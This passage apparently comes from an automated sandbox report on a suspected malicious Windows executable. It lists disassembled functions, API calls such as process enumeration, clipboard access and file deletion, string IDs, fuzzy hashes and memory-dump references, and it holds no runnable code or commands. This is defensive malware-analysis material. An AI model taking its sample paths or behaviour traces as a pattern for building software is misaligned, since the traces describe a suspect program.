                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Char$Next$CreateDirectoryPrev
                                            • String ID:
                                            • API String ID: 4115351271-0
                                            • Opcode ID: c9f98378969a177fcb370052af8fd256873b8aecdbe0e59b9a239e0623e805da
                                            • Instruction ID: d79b23296e172e3f7541ee3cb439833c7f4a864136be478e135bd67e808ea9fb
                                            • Opcode Fuzzy Hash: c9f98378969a177fcb370052af8fd256873b8aecdbe0e59b9a239e0623e805da
                                            • Instruction Fuzzy Hash: 54D09E11547D7561C56236663E46FDF151C8F52359F114077F540B51C25A6C0A8289ED
                                            Function 00402ED0 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                            Download Yara Rule
                                            APIs
                                            • SetFilePointer.KERNELBASE(00000000,00000000,00000000,004032EE,?,?,?,?,00000000,004035D7,?), ref: 00402EDE
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: FilePointer
                                            • String ID:
                                            • API String ID: 973152223-0
                                            • Opcode ID: 052875b64ac29a69a56fe5fa30ce1250d27c90eff136e832dd86e8876edcd7ee
                                            • Instruction ID: 4946e7aaa73dbe9c50503acfc76fe66090dc5a246f76b590ec387925aa062f70
                                            • Opcode Fuzzy Hash: 052875b64ac29a69a56fe5fa30ce1250d27c90eff136e832dd86e8876edcd7ee
                                            • Instruction Fuzzy Hash: 4EB09231140300AADA215F009E09F057B21AB90700F108824B291281F086712020EA0D
                                            Function 00401646 Relevance: 1.3, APIs: 1, Instructions: 17sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • Sleep.KERNELBASE(00000000), ref: 00401656
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: Sleep
                                            • String ID:
                                            • API String ID: 3472027048-0
                                            • Opcode ID: 8dc5173ed66c8cb9375c8a62a6b21d0958b4d16d400b23e9b38b04bf0691659c
                                            • Instruction ID: b7a5ace7ee108f6bfae9467569b9736203130378aa17b3a4f183cff96938e45a
                                            • Opcode Fuzzy Hash: 8dc5173ed66c8cb9375c8a62a6b21d0958b4d16d400b23e9b38b04bf0691659c
                                            • Instruction Fuzzy Hash: 42D02233704200CBE700F7B8AE8942E33A4E71232D3200C3BD803F20A0D639C8C1822D

                                            Non-executed Functions

                                            Function 00405C70 Relevance: 70.3, APIs: 29, Strings: 11, Instructions: 256libraryloadermemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GlobalAlloc.KERNEL32(00000040,00000FA0), ref: 00405C83
                                            • lstrlenW.KERNEL32(?), ref: 00405C90
                                            • GetVersionExW.KERNEL32(?), ref: 00405CEE
                                              • Part of subcall function 00405ADA: CharUpperW.USER32(?,00405CC5,?), ref: 00405AE0
                                            • LoadLibraryA.KERNEL32(PSAPI.DLL), ref: 00405D2D
                                            • GetProcAddress.KERNEL32(00000000,EnumProcesses), ref: 00405D4C
                                            • GetProcAddress.KERNEL32(00000000,EnumProcessModules), ref: 00405D56
                                            • GetProcAddress.KERNEL32(00000000,GetModuleBaseNameW), ref: 00405D61
                                            • FreeLibrary.KERNEL32(00000000), ref: 00405D98
                                            • GlobalFree.KERNEL32(?), ref: 00405DA1
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: AddressProc$FreeGlobalLibrary$AllocCharLoadUpperVersionlstrlen
                                            • String ID: CreateToolhelp32Snapshot$EnumProcessModules$EnumProcesses$GetModuleBaseNameW$Kernel32.DLL$Module32FirstW$Module32NextW$PSAPI.DLL$Process32FirstW$Process32NextW$Unknown
                                            • API String ID: 20674999-2124804629
                                            • Opcode ID: bfd5aff29ee4f1ffb6214c97bb0594a6be1cab25f0f6d26799202fd0c5d98f81
                                            • Instruction ID: 5cd628679c3206996b44c0f0d1c9f7c2e320434dbef64c8d82388663d9783bcf
                                            • Opcode Fuzzy Hash: bfd5aff29ee4f1ffb6214c97bb0594a6be1cab25f0f6d26799202fd0c5d98f81
                                            • Instruction Fuzzy Hash: A091407190061AEBDF109FA4CD88AAFBBB8EF44741F10407AE545F6190DB788A45CF69
                                            Function 0040447D Relevance: 65.2, APIs: 33, Strings: 4, Instructions: 470windowmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDlgItem.USER32(?,000003F9), ref: 00404494
                                            • GetDlgItem.USER32(?,00000408), ref: 004044A1
                                            • GlobalAlloc.KERNEL32(00000040,?), ref: 004044F0
                                            • LoadBitmapW.USER32(0000006E), ref: 00404503
                                            • SetWindowLongW.USER32(?,000000FC,Function_000043CD), ref: 0040451D
                                            • ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 0040452F
                                            • ImageList_AddMasked.COMCTL32(00000000,?,00FF00FF), ref: 00404543
                                            • SendMessageW.USER32(?,00001109,00000002), ref: 00404559
                                            • SendMessageW.USER32(?,0000111C,00000000,00000000), ref: 00404565
                                            • SendMessageW.USER32(?,0000111B,00000010,00000000), ref: 00404575
                                            • DeleteObject.GDI32(?), ref: 0040457A
                                            • SendMessageW.USER32(?,00000143,00000000,00000000), ref: 004045A5
                                            • SendMessageW.USER32(?,00000151,00000000,00000000), ref: 004045B1
                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404652
                                            • SendMessageW.USER32(?,0000110A,00000003,00000110), ref: 00404675
                                            • SendMessageW.USER32(?,00001132,00000000,?), ref: 00404686
                                            • GetWindowLongW.USER32(?,000000F0), ref: 004046B0
                                            • SetWindowLongW.USER32(?,000000F0,00000000), ref: 004046BF
                                            • ShowWindow.USER32(?,00000005), ref: 004046D0
                                            • SendMessageW.USER32(?,00000419,00000000,?), ref: 004047CE
                                            • SendMessageW.USER32(?,00000147,00000000,00000000), ref: 00404829
                                            • SendMessageW.USER32(?,00000150,00000000,00000000), ref: 0040483E
                                            • SendMessageW.USER32(?,00000420,00000000,00000020), ref: 00404862
                                            • SendMessageW.USER32(?,00000200,00000000,00000000), ref: 00404888
                                            • ImageList_Destroy.COMCTL32(?), ref: 0040489D
                                            • GlobalFree.KERNEL32(?), ref: 004048AD
                                            • SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 0040491D
                                            • SendMessageW.USER32(?,00001102,?,?), ref: 004049CB
                                            • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 004049DA
                                            • InvalidateRect.USER32(?,00000000,00000001), ref: 004049FA
                                            • ShowWindow.USER32(?,00000000), ref: 00404A4A
                                            • GetDlgItem.USER32(?,000003FE), ref: 00404A55
                                            • ShowWindow.USER32(00000000), ref: 00404A5C
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$Window$ImageItemList_LongShow$Global$AllocBitmapCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
                                            • String ID: $ @$M$N
                                            • API String ID: 1638840714-3479655940
                                            • Opcode ID: 937356102a75185e20c66d4cdea0a1291c72136f879f0bdf363495dfedd26f78
                                            • Instruction ID: b4b482d55b4410d1430187b36ccef83e55c8bda0955db637de4799104be70721
                                            • Opcode Fuzzy Hash: 937356102a75185e20c66d4cdea0a1291c72136f879f0bdf363495dfedd26f78
                                            • Instruction Fuzzy Hash: 5F027BB0900209EFDB119FA4CD45AAEBBB5FB84315F10813AF614B62E0D7799E91CF58
                                            Function 00404BB4 Relevance: 65.0, APIs: 36, Strings: 1, Instructions: 290windowclipboardmemoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDlgItem.USER32(?,00000403), ref: 00404C16
                                            • GetDlgItem.USER32(?,000003EE), ref: 00404C25
                                            • GetClientRect.USER32(?,?), ref: 00404C62
                                            • GetSystemMetrics.USER32(00000015), ref: 00404C6A
                                            • SendMessageW.USER32(?,00001061,00000000,00000002), ref: 00404C8B
                                            • SendMessageW.USER32(?,00001036,00004000,00004000), ref: 00404C9C
                                            • SendMessageW.USER32(?,00001001,00000000,00000110), ref: 00404CAF
                                            • SendMessageW.USER32(?,00001026,00000000,00000110), ref: 00404CBD
                                            • SendMessageW.USER32(?,00001024,00000000,?), ref: 00404CD0
                                            • ShowWindow.USER32(00000000,?,0000001B,000000FF), ref: 00404CF2
                                            • ShowWindow.USER32(?,00000008), ref: 00404D06
                                            • GetDlgItem.USER32(?,000003EC), ref: 00404D27
                                            • SendMessageW.USER32(00000000,00000401,00000000,75300000), ref: 00404D37
                                            • SendMessageW.USER32(00000000,00000409,00000000,?), ref: 00404D4C
                                            • SendMessageW.USER32(00000000,00002001,00000000,00000110), ref: 00404D58
                                            • GetDlgItem.USER32(?,000003F8), ref: 00404C34
                                              • Part of subcall function 00403920: SendMessageW.USER32(00000028,?,00000001,00405280), ref: 0040392E
                                            • GetDlgItem.USER32(?,000003EC), ref: 00404D77
                                            • CreateThread.KERNEL32(00000000,00000000,Function_00004B48,00000000), ref: 00404D85
                                            • CloseHandle.KERNEL32(00000000), ref: 00404D8C
                                            • ShowWindow.USER32(00000000), ref: 00404DB3
                                            • ShowWindow.USER32(?,00000008), ref: 00404DB8
                                            • ShowWindow.USER32(00000008), ref: 00404DFF
                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00404E31
                                            • CreatePopupMenu.USER32 ref: 00404E42
                                            • AppendMenuW.USER32(00000000,00000000,00000001,00000000), ref: 00404E57
                                            • GetWindowRect.USER32(?,?), ref: 00404E6A
                                            • TrackPopupMenu.USER32(00000000,00000180,?,?,00000000,?,00000000), ref: 00404E8C
                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 00404EC7
                                            • OpenClipboard.USER32(00000000), ref: 00404ED7
                                            • EmptyClipboard.USER32 ref: 00404EDD
                                            • GlobalAlloc.KERNEL32(00000042,00000000,?,?,00000000,?,00000000), ref: 00404EE9
                                            • GlobalLock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00404EF3
                                            • SendMessageW.USER32(?,00001073,00000000,?), ref: 00404F07
                                            • GlobalUnlock.KERNEL32(00000000,?,?,00000000,?,00000000), ref: 00404F29
                                            • SetClipboardData.USER32(0000000D,00000000), ref: 00404F34
                                            • CloseClipboard.USER32 ref: 00404F3A
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: MessageSend$Window$ItemShow$Clipboard$GlobalMenu$CloseCreatePopupRect$AllocAppendClientDataEmptyHandleLockMetricsOpenSystemThreadTrackUnlock
                                            • String ID: {
                                            • API String ID: 590372296-366298937
                                            • Opcode ID: 17b19512de00e59187fca8f5a6567c7c37cbdab995639fd4f0823fef6f6269fe
                                            • Instruction ID: 4a1b14a679f192c254d8bf3bd6cec492735fc4b3fb0f93a90a805189e19306d7
                                            • Opcode Fuzzy Hash: 17b19512de00e59187fca8f5a6567c7c37cbdab995639fd4f0823fef6f6269fe
                                            • Instruction Fuzzy Hash: FBB15CB0900208BFDB11AF60DD89EAE7B79FF44355F00817AFA45B61A1CB748A91DF58
                                            Function 0040400B Relevance: 21.3, APIs: 10, Strings: 2, Instructions: 272stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDlgItem.USER32(?,000003FB), ref: 0040405A
                                            • SetWindowTextW.USER32(?,?), ref: 00404087
                                            • SHBrowseForFolderW.SHELL32(?), ref: 0040413F
                                            • CoTaskMemFree.OLE32(00000000), ref: 0040414A
                                            • lstrcmpiW.KERNEL32(22571808,0044FD98,00000000,?,?), ref: 0040417C
                                            • SetDlgItemTextW.USER32(?,000003FB,?), ref: 00404198
                                            • lstrcatW.KERNEL32(?,22571808), ref: 00404188
                                              • Part of subcall function 00405731: GetDlgItemTextW.USER32(00000001,00000001,00002004,00403AE8), ref: 00405744
                                              • Part of subcall function 00405AE7: CharNextW.USER32(?,*?|<>/":,00000000,004E00C8,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B4A
                                              • Part of subcall function 00405AE7: CharNextW.USER32(?,?,?,00000000), ref: 00405B59
                                              • Part of subcall function 00405AE7: CharNextW.USER32(?,004E00C8,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B5E
                                              • Part of subcall function 00405AE7: CharPrevW.USER32(?,?,"C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe",004E00C8,00000000,0040336C,004E00C8,00000002,0040359B), ref: 00405B72
                                            • GetDiskFreeSpaceW.KERNEL32(00443D80,?,?,0000040F,?,00443D80,00443D80,?,00000000,00443D80,?,?,000003FB,?), ref: 0040425A
                                            • MulDiv.KERNEL32(?,0000040F,00000400), ref: 00404275
                                            • SetDlgItemTextW.USER32(00000000,00000400,0040856C), ref: 004042EE
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CharItemText$Next$Free$BrowseDiskFolderPrevSpaceTaskWindowlstrcatlstrcmpi
                                            • String ID: 22571808$A
                                            • API String ID: 2246997448-1538649988
                                            • Opcode ID: 6589979ff9a501fc495b169141efcf5f2177152b764b6bcc2381f6d8f6a68418
                                            • Instruction ID: 82e0f664371878e3f8136284ca2467dd10f3df84af4d3fe89a4ee6e4629e8810
                                            • Opcode Fuzzy Hash: 6589979ff9a501fc495b169141efcf5f2177152b764b6bcc2381f6d8f6a68418
                                            • Instruction Fuzzy Hash: 91A181B1A00208ABDB11AFA1C885AAF7BB8EF44314F10407FFA05B72D1D77C9A419F59
                                            Function 00406559 Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 162filestringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • DeleteFileW.KERNEL32(?,?,004E00C8), ref: 00406578
                                            • lstrcatW.KERNEL32(00465470,\*.*), ref: 004065C8
                                            • lstrcatW.KERNEL32(?,004082C8), ref: 004065E8
                                            • lstrlenW.KERNEL32(?), ref: 004065EB
                                            • FindFirstFileW.KERNEL32(00465470,?), ref: 004065FF
                                            • FindNextFileW.KERNEL32(00000000,00000010,000000F2,?), ref: 004066B5
                                            • FindClose.KERNEL32(00000000), ref: 004066C6
                                            Strings
                                            • pTF, xrefs: 004065AB
                                            • \*.*, xrefs: 004065C2
                                            • "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe", xrefs: 004065A9
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
                                            • String ID: "C:\Users\user\Desktop\e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.exe"$\*.*$pTF
                                            • API String ID: 2035342205-3193183203
                                            • Opcode ID: 4d656ded0a8bf8375e6a0408538251f1fecec283f47e8baec3b74e355d12da64
                                            • Instruction ID: cb8e43480c0494b88bcdaab5263094abc6d8a088fa6e5b396f43e0b3f7cdc2f6
                                            • Opcode Fuzzy Hash: 4d656ded0a8bf8375e6a0408538251f1fecec283f47e8baec3b74e355d12da64
                                            • Instruction Fuzzy Hash: ED51B170800618AACF20AB35CD45A6B7768EF40358F12893BB857761D2DB3D8DA1CB5D
                                            Function 00402218 Relevance: 1.6, APIs: 1, Instructions: 120comCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CoCreateInstance.OLE32(00408AEC,00000000,00000001,00408ACC,?,00000000), ref: 00402272
                                            Memory Dump Source
                                            • Source File: 00000000.00000002.1651586398.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                            • Associated: 00000000.00000002.1651097527.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651606542.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000432000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.0000000000469000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004C8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004CC000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004D8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651627890.00000000004E8000.00000004.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.00000000004FD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.000000000050E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            • Associated: 00000000.00000002.1651839232.0000000000518000.00000002.00000001.01000000.00000003.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_0_2_400000_e6db7d34b498982601b2c45ac5b2a1c1b9502e502514c.jbxd
                                            Similarity
                                            • API ID: CreateInstance
                                            • String ID:
                                            • API String ID: 542301482-0
